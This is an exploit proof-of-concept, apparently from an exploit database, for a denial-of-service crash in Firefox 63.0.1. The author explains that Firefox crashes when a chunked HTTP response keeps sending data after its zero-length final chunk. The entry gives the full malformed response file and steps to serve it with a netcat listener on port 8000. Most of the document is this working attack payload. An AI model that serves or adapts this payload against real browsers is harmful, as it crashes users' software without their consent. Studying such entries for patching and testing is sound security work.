# Exploit Title: Mozilla Firefox 63.0.1 - Denial of Service (PoC)
# Date: 2018-11-29
# Exploit Author: SAIKUMAR CHEBROLU
# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/
# Bugzilla report: https://bugzilla.mozilla.org/show_bug.cgi?id=1504512
# Version: Firefox 63.0.1
# Tested on: Windows 10
# CVE : No CVE is been assigned to this bug.

# To exploit this vulnerability please follow the below steps.
# Firefox is being crashed, when it tried to process the chunked data. when Transfer-Encoding header 
# is used, we suppose to send the data in the chunks form. When all the chunks being transferred, 
# we need to tell the client with chunk length zero. so that it understands chunked stream completed. 

# But if we send the data after sending zero length, then firefox not able to understand it, 
# and it being crashed.

# Example:

5

Don't

5

be af

5

firef

5

ox is

0      

Crash       (after saying it is end, we still sending some data)    

\r\n

# here we are saying no chunked data after this.so that it should end with \r\n. But we 
# are sending some data after this also. Like

# Steps to reproduce the crash

1)download the firefoxcrash.txt

2)nc -lp 8000 < firefoxcrash.txt

3)browe the url from firefox like  http://localhost:8000

4)then close the netcat client. then you will obserev the firefox crash.

# fireforcrash.txt

HTTP/1.1 200 ok
Content-type: application/octet-stream
Content-disposition: attachment; filename="crash.txt"
Transfer-Encoding: chunked
Connection: close

5
I am 
5
 be a
5
fraid
5
 to l
5
ook a
5
t thi
5
s mes
5
sage.
5
 It i
5
s com
5
plete
5
ly ha
5
rmles
5
s. Re
5
ally!
0
foobar